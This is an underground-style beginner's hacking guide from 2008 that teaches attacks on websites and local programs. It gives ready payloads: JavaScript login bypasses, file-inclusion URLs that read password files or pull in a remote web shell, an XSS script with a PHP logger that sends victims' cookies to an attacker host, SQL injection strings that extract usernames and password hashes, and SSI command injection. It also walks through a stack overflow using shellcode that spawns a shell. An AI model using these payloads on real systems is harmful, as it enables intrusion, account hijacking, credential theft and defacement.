Hacking Guide

 

_________________________-[ Hacking Guide ]-_________________________
                              By: Wuls

     A complete and thorough beginners guide to the art of hacking.
_____________________________________________________________________


Table of Contents:

0x01| What is hacking?
0x02| HTML / JavaScript Manipulation
0x03| Basic Web Hacking Techniques
0x04| Brief introduction to crypto
0x05| Intermediate level Web Exploitation
0x06| Linux/UNIX Exploitation
0x07| Credits


			==> 0x01 ["What is hacking?"];


First off, there are many variations of the term hacker and everyone's
definition is slightly different. Hacking in the eyes of many is the task
of breaking into computer systems and/or websites and screwing things up.
I'm here to tell you that the aforementioned definition is perfectly acceptable
if that's what you truly believe hacking to be. Hacking cannot be defined that easily
and people tend to mold and shape related terms like 'hacker' to fit their
own personal style. 

There are, however, people who deem themselves worthy of the term when they
clearly lack the required skillset. The category these people fall under is
widely known as the 'script kiddie'. To put it simply, a script kiddie is
someone who tries to get their name known in the underground community by
using publicly available exploits/programs that were made by real hackers
in an attempt to gain what I like to call 'e-rep' among their peers.

Chances are you have probably seen those "HACKED BY SAUDI_H4CK3R & DaRkViRuZ"
type of webpages. This is what is called a defacement, and we'll touch on that
later on in this guide.

Others see hacking as the process of creative problem solving and simply
circumventing limitations in a non-malicious manner. Whatever your views on
hacking are, this guide is for you -- So without further adieu, let's begin.



			==> 0x02 ["HTML / JavaScript Manipulation"];


Since the beginning of time (well, the beginning of the Internet) people have used
HTML to create and view webpages. I guess after a period of time people grew tired
of plain old HTML pages and yearned for something more, like, er.. JavaScript.
With this newly engineered web scripting tool of leetness webmasters were able to 
spice up their pages. JavaScript opened an entire locker room of new doors for the
web industry, and allowed users to interact with the sites. This nifty little
scripting language also served as a form of website authentication security
before people realized how easily JavaScript login forms could be exploited.. despite
the whole 'security through obscurity' ordeal.

Below we see an example of a login/auth form in JavaScript:

_____________________________________________________________
<script language="javascript">
<!--
function auth(form) {
  if (form.username.value=="administrator") {
    if (form.password.value=="soccer8") {
      location="login.php?username=administrator&password=soccer8"
    }
    else {
      alert("Invalid Password");
    }
  }
  else {
    alert("Invalid Username");
  }
}
//-->
</script>
_____________________________________________________________

Now, that is _really_ going to keep someone from intruding in on your site?
Hardly. A simple right-click, and an equally simple left click render this
form of web security useless. The clicks being: Right-Click, 'View Source'.

Of course, not all retarded.. I mean outdated, webmasters use the same method
of 'JavaScript security'. Some may tuck the file away neatly in an embedded area
which reads from a .js file. The simple solution to this would be to visit
the url containing the filename at the end of it, and voila.. of course this can
hardly be called hacking on its own. Another example of JavaScript's unreliablity
can be found here:
_____________________________________________________________
	<script>
	function checkpass()
	{
	 user_input=document.password.pass.value;
	 carrot=unescape('%64%64%6f%71');
	 jumble="akDJj94dJk4";
	 a=jumble.charCodeAt(2);
	 b=jumble.charCodeAt(5);
	 c=jumble.charCodeAt(2);
	 yay=((30*51/3*a)-(b*c))/4/5+b;
	 password=carrot+"_"+yay;
	 if(user_input==password)
	 {
	  alert('Welcome.');
          document.href="/login.php?password=valid";
	 }
	 else
	 {
	  alert('Error - Wrong Password');

	 }
	}
	</script>
_____________________________________________________________


At this point you are probably wondering how anyone is supposed to bypass
that motherfucker of a login. But what if we modify the code so instead
of it telling us we're wrong when we don't enter the correct password,
we make it tell us the contents of the variable 'password' and have the script
do all the calculations for us?! A simple modification of the line
"alert('Error - Wrong Password');" to "alert(password);" will do just that.
So now when the script is run, and the wrong password is supplied we are
presented with "ddoq_1597.2", the wonderful password.



			==> 0x03 ["Basic Web Hacking Techniques"];


Alright so we've all seen those awesome defacement pages around the net, but have
you ever wondered how it's done? To be honest the majority of those defacements
are only existent due to people using a web-shell created by someone else. 
Sounding a little familiar? Yes, you guessed it.. the people who rely on web-shells
generally tend to be script kiddies.

However, there are those who legitimately hack into websites and deface them through
other means. A few exploitation techniques we'll be covering are the Local/Remote File
Inclusions, XSS (Cross-Site Scripting), and the infamous SQL Injection.

File inclusions tend to originate from vulnerable PHP code such as the following:

<?php

@include($_GET["page"]);

?>

This could result in a local file inclusion just as easily as it could a Remote one.
You see, that code will accept anything supplied to the variable 'page' and will attempt
to execute or 'load' it onto the page. Being a plain text document it's quite hard to 
demonstrate and I'm no ASCII Artist thats for sure so here's something..

http://site.com/index.php?page=contact.php

You may have seen a URL structured like that at some point and wondered what it's all about
but did you ever stop to think that it could be your way in? The use of directory transversals
and full path disclosure could aid you in Local file inclusions, especially if you're aiming
to obtain something like password hashes. Directory transversals simply put, backtrack or
'cycle' backwards through directories and basically clear the way for you to set the 'path'
to a file you want.

Time for yet another example:

http://site.com/index.php?page[]=contact.php

Might result in (or something similar):

Warning: main(Array) [function.main]: failed to open stream: No such file or directory in /home/soccerfan/domains/site.com/site_data/index.php on line 296

From there you could try and access files you otherwise wouldn't have privelages to, due to the
fact that you're making the server request them, and of course the server is allowed.

http://site.com/index.php?page=../../../../../home/domains/soccerfan/site_data/passwd

admin:DkjenDvfHC

If you're successful you might just find something like 'admin:DkjenDvfHC' on the page.
This is what's called a password hash and it is likely that it'll be encrypted.
Deciphering or 'cracking' password hashes can be done manually or by programs like 
John the Ripper. I will not be demonstrating the use of John the Ripper in this
guide due to the fact there are many tutorials regarding it's use out there, all you
need is a simple Google search query.


Remote File Inclusions aren't that much different.. rather than trying to read a local
file, you'll be making the server read a remote one:

http://site.com/index.php?page=http://yoursite.com/shell.txt?

Now, I know I said shells were mainly used by script kiddies.. but I didn't say you
couldn't use them for educational purposes! :-] Of course there's always the option of
coding your own, but at this stage in your hacking career that doesn't seem too likely.

There isn't much of a point explaining how to use a shell as there are many different ones
out there.. and trust me they're pretty self-explanitory. To name a few:

- C99
- r57
- TD Shell
- x2300


Alright, on to XSS or Cross-Site Scripting. This method of exploitation is basically the
injection of javascript, in most cases, into a page where it will be executed by other users.
People who use this method generally are hoping to steal other users' cookie data so they can
perform what is called 'Session Hijacking'. This is the process of replacing your *session* with
someone else's session, thus granting you access to their account - no password necessary.

Common areas for XSS attacks are profile pages, search boxes, and/or e-mail attachments.

An attacker could craft a page containing something like:

<script>document.href="http://badsite.com/stealer.php?cookie=%20+%20document.cookie";</script>

Which would redirect an unsuspecting user to the page 'stealer.php' on the attacker's web host.
The PHP file stealer.php would contain something along the lines of this:

<?php

$c = $HTTP_GET_VARS["cookie"];
$fp = fopen('logs.htm', 'a');
fwrite($fp, 'Cookie Data: ' .$c. '<br>');
fclose($fp);

?>


I think by now you can pretty much guess what it does. In the event you aren't
able to, read this: "IT RECORDS THE USERS COOKIE DATA!!!!!" As always, here is your
example of what the attacker's log file might look like:

Cookie Data: bbsessionhash=1bdd8d247d831c2176f0264567a7cc54


Replacing cookie data isn't a hard task either, just enter this into your web browser.

javascript:void(document.cookie="bbsessionhash=1bdd8d247d831c2176f0264567a7cc54");




			==> 0x04 ["Brief introduction to Crypto"];



Since I am no expert myself in the area of crypto, I am going to briefly cover a couple
encryption methods..

Password hashes / Messages may be seen in the following forms and can be decrypted quite
easily provided that you have the necessary tools. The encrypting of messages is a technique that was used way back even during Caesar's time of rule. It was used during WWII by the Germans via a machine called the 'Enigma' to relay information about the enemy without their knowledge. 
Below are some standard encryption methods with their plaintext version underneath.

90378756d3bd6429f611227773e287c1 (MD5)
this_is_fun

cm9mbGNvcHRlcg== (Base64)
roflcopter

67 75 6d 6d 79 62 65 61 72 (Hex)
gummybear

01101000 01100101 01101100 01101100 01101111 (Binary)
hello


And then there's Octal. Not so widely used today but still enough to be considered relevant.
The following string of numbers converts to "Octal is cool!".

117 143 164 141 154 040 151 163 040 143 157 157 154





			==> 0x05 ["Intermediate level Web Exploitation"];




In this section you will learn about the basics of SQL Injection, poison null bytes,
and Serverside Includes (SSI).


As you may or may not know, many of today's websites are powered by things called databases,
many of which are MySQL based. Unfortunately (but fortunately for you!) MySQL has many flaws.
Well.. MySQL in itself is fine IMO, but the way it is often configured leaves intruders
with ever so tempting opportunity. For example, site logins are often bypassed via
a simple injection string. Variations of this include:

admin' OR 1=1-- */
' OR 1=1--
1=1--
'
') OR 1=1--

..... and the list goes on. All an attacker is required to do is insert one of those into
both fields (username + password) and they'll be given access to the administrator account
granted that the website is vulnerable.

But this is just the tip of the iceberg for SQL Injections.. you can also trick the server
into dropping you entire user tables. MySQL organizes data into what are called 'tables'.
Inside these tables there are things called columns and rows which hold data such as usernames, emails, passwords, etc.. when exploiting a site running MySQL you need to first know the correct
number of columns, and find out which ones can be manipulated.

Again, because this is a simple text document my examples are limited:

http://somesite.com/news.php?id=6 <-- Just an ordinary request for news item #6

http://somesite.com/news.php?id=1+ORDER+BY+1 <-- 1+ORDER+BY+1 is used to count columns.. observe.
http://somesite.com/news.php?id=1+ORDER+BY+4 <-- Keep incrementing the second digit till an error
http://somesite.com/news.php?id=1+ORDER+BY+5 <-- is received
http://somesite.com/news.php?id=1+ORDER+BY+6 <-- Everythings fine so far..

But when we try it with '7' we get:

Could not successfully run query (SELECT * FROM `news` WHERE `id` = 1 ORDER BY 7) from DB: Unknown column '7' in 'order clause'

This is because there isn't a seventh column. So let's call the 6 columns that DO exist
with a query like this:

http://somesite.com/news.php?id=null+union+all+select+1,2,3,4,5,6+from+news--

Now we might see something like the numbers '2' and '3' appear on the page, perhaps
of an unusual size, or portrayed as a hyperlink. These are the column numbers we need
to manipulate and could be the key to our success. Naturally, this is what I'd try:

http://somesite.com/news.php?id=null+union+all+select+1,username,password,4,5,6+from+users--

Notice that I replaced 2 and 3 with username and password. But I have my doubts about any usernames and passwords being stored in a table called 'news'. Let's just change that to 'users' :-) Seems logical right? If successful you might be presented with something
like this...

Admin
098f6bcd4621d373cade4e832627b4f6

Ta-da! Speaks for itself I think. Let's move on..


The poison null byte is simply "%00". It can be added onto the end of URLs that automatically
get file extentions placed at the end of variable input. Ex:

http://site.com/index.php?page=../../../../etc/passwd

That attempt at a local file inclusion exploit might result in fail.. observe..

http://site.com/index.php?page=../../../../etc/passwd.php.txt

Extensions like .php.txt may be thrown into the mix to prevent you from reading important files.
Fortunately you can easily circumvent this using the poison null-byte:

http://site.com/index.php?page=../../../../etc/passwd%00

It basically tells 'pending extensions' to go fuck themselves.



Oooooooooooooook...... and last but not least, serverside includes. A common place to find
these are within search fields. Say you are in a directory called /data/, and you want to
know what other files are in the current directory, but you are denied directory listing..
You can try inserting something simple like <!--#exec cmd="ls -liah"--> into the search
field. If successful, you will be presented with a list of every file in the current directory.

Hehe.. this just about concludes the web-hacking part of the guide.









			==> 0x06 ["Linux/UNIX Exploitation"];






For simplicity's sake I'm going to copy/paste a previous paper I wrote on buffer overflows.
Being a beginner you wouldn't have seen it before, so it's all good =] Enjoy.



. :: Exploiting a simple buffer overflow :: .

Written by: wuls

# 2007-10-14
=====================================
1. What is a buffer overflow?
2. How to go about exploiting one.
=====================================

This `tutorial' is intended to be short and sweet; straight to the point.
[Just what you were probably looking for] ;-)


One:
~~~~
A buffer overflow is what occurs when too much data is passed on to the buffer, resulting in it screwing up
or "overflowing". There are many variations of this type of exploit, thousands actually, residing in many functions
in just about any programming language. For the sake of simplicity I am going to gear this tutorial towards C.



Two:
~~~~
Below is an example of vulnerable code.

--- Begin Code ---

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
  char buffer[150];
  strcpy(buffer, argv[1]);
  return(0);
}

--- End Code ---


To start off exploiting this you will need to fill the buffer. Since this is an example, you already know the buffer size..
but out in the 'wild' you will most likely need to do trial and error until you find the end of the buffer.

Let's assume this program is called pr0g.

+++++++++++++
wuls@zone~# gcc-3.3 pr0g.c -o pr0g
wuls@zone~# ulimit -c unlimited
wuls@zone~# ./pr0g `perl -e 'print "A"x172'`
Illegal Instruction (core dumped)
wuls@zone~# ls
pr0g.c pr0g core
wuls@zone~#
+++++++++++++

As you can see from the example, gcc-3.3 adds padding to help protect the stack. This added junk data causes the buffer to require more data before it
overflows. When we eventually filled the buffer with 172 A's it crashed, and dumped a core. Had we not done 'ulimit -c unlimited', this would not have
happened, as it needs permission to do so.

So it dumped a core, and dropped us a nice core file, let's take a look inside it shall we?

+++++++++
wuls@zone~# gdb -c core pr0g


"Program terminated with signal 4, Illegal instruction.
#0  0xb7ea4e00 in __libc_start_main () from /lib/tls/libc.so.6"

(gdb) info reg
eax            0x0      0
ecx            0x0      0
edx            0x0      0
ebx            0xb7f23ff4       -1208860684
esp            0xbfb4dd20       0xbfb4dd20
ebp            0x41414141       0x41414141
esi            0x0      0
edi            0xb7f4bcc0       -1208697664
eip            0xb7e0ae00       0xb7e0ae00 <__libc_start_main+32>
eflags         0x10282  [ SF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

+++++++++


Notice how the memory address was b7ea4e00 right before the program's crash? A memory address is 4 bytes in size, and right now, b7e0ae00 is occupying
the space we want to overwrite. b7e0ae00 is the program's return address (eip). We don't just want to overwrite EIP with just anything though, we want
to cram it full with our shellcode. So let's export a variable. 


+++++++++++
wuls@zone~# export SHELLCODE=`perl -e 'print "/x90" x 50 . "/x6a/x0b/x58/x99/x52/x68//sh/x68/bin/x89/xe3/x52/x53/x89/xe1/xcd/x80"'`
wuls@zone~#
+++++++++++

Exporting a variable loads it into the environment. The use of NOPS ("/x90") isn't always required, but on newer
Linux kernels it is probably going to be needed for this type of buffer overflow due to stack randomization. So we already overwrote EBP with our A's,
which is represented by 41 in hexadecimal. 
So what would happen if we added just 4 more bytes after our 172 A's? Maybe it'll overwrite something else? Let's find out!


+++++++++
wuls@zone~# ./pr0g `perl -e 'print "A"x172 . "DDDD"'`
Segmentation fault (core dumped)
wuls@zone~# gdb -c core pr0g

"Program terminated with signal 11, Segmentation fault.
#0  0x44444444 in ?? ()"

(gdb) info reg
eax            0x0      0
ecx            0x0      0
edx            0x0      0
ebx            0xb7f3bff4       -1208762380
esp            0xbfe36810       0xbfe36810
ebp            0x41414141       0x41414141
esi            0x0      0
edi            0xb7f63cc0       -1208599360
eip            0x44444444       0x44444444
eflags         0x10286  [ PF SF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51  
+++++++++


Aha, we overwrote the EIP register with D's (0x44444444). How useful, right? Before you begin jumping with joy you must keep in mind that a program is not
truly exploited until we have gained control over it. For example, making it execute our shellcode. But our shellcode is nowhere to be seen! :-(
It's not exactly hidden though, we just aren't looking in the right place. Let's re-open the core file and have a look.


++++++
wuls@zone~# gdb -c core pr0g

"Program terminated with signal 11, Segmentation fault.
#0  0x44444444 in ?? ()"

(gdb) info reg
eax            0x0      0
ecx            0x0      0
edx            0x0      0
ebx            0xb7f3bff4       -1208762380
esp            0xbfe36810       0xbfe36810
ebp            0x41414141       0x41414141
esi            0x0      0
edi            0xb7f63cc0       -1208599360
eip            0x44444444       0x44444444
eflags         0x10286  [ PF SF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51 

(gdb) x/s $edx
0xbfa38bac:      "SHELLCODE=", '/220' <repeats 50 times>, "j/vX/231Rh//shh/bin/211ãRS/211áÍ/200"
(gdb)
++++++

Look for something like that. Note that I left out a bunch of garbage to make the example more clear, but your variables are usually stored in EDX.
Anyway, now that we've found the memory address holding our shellcode we need to make the programs return address point to it. Since our shellcode is
stored in a variable we will need to add an offset. Simply add the length of the variable name to the memory address: 

(gdb) x/s 0xbfa38bac+10
0xbfa38bb6:      '/220' <repeats 50 times>, "j/vX/231Rh//shh/bin/211ãRS/211áÍ/200"
(gdb)q
wuls@zone~#

This removed the actual letters 'SHELLCODE=' from the memory address, as you don't want the program trying to execute a variable, but rather an address.
Everything looks fine so far, so we might aswell wrap this up. 
Since most home PCs are little endian (x86) we need to reverse the byte order. In other words, write the memory address backwards. As shown earlier we
used NOPS.. well now its time to take a ride on the good ol' NOPsled. Since NOPs are used as 'NULL' data, and serve no actual purpose, the kernel passes
them off as 'empties' and moves onto the next memory address -- Thus the purpose of using an infinite while loop to keep the NOPs active until we hit our
shellcode.

++++++
wuls@zone~# while(true) do ./pr0g `perl -e 'print "A"x172 . "/xb6/x8b/xa3/xbf"'`;done

Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
sh-3.1$
++++++

And there we are folks, we successfully exploited the program and got it to run our shellcode, dropping us a nice shell. Hope you enjoyed this tutorial.
Keep in mind that there are many, many different variations and ways to do this, such as writing exploit code to overflow the buffer rather than
passing them off as arguments via Perl.

Hope this has helped. 




=======================================================================================
Greetz/Thanks:

beach, RoMeO, Mulciber, DeadlyData, 2Fade, tactikalnuke, KOrUPt, Philkill, TriGz, Tippy
All of SmashTheStack & Intruded


Final notes:
Hopefully this has helped you get a good start. Don't be afraid to ask questions, try to avoid
shit like pre-made exploits, and good luck.
 
#2008-04-26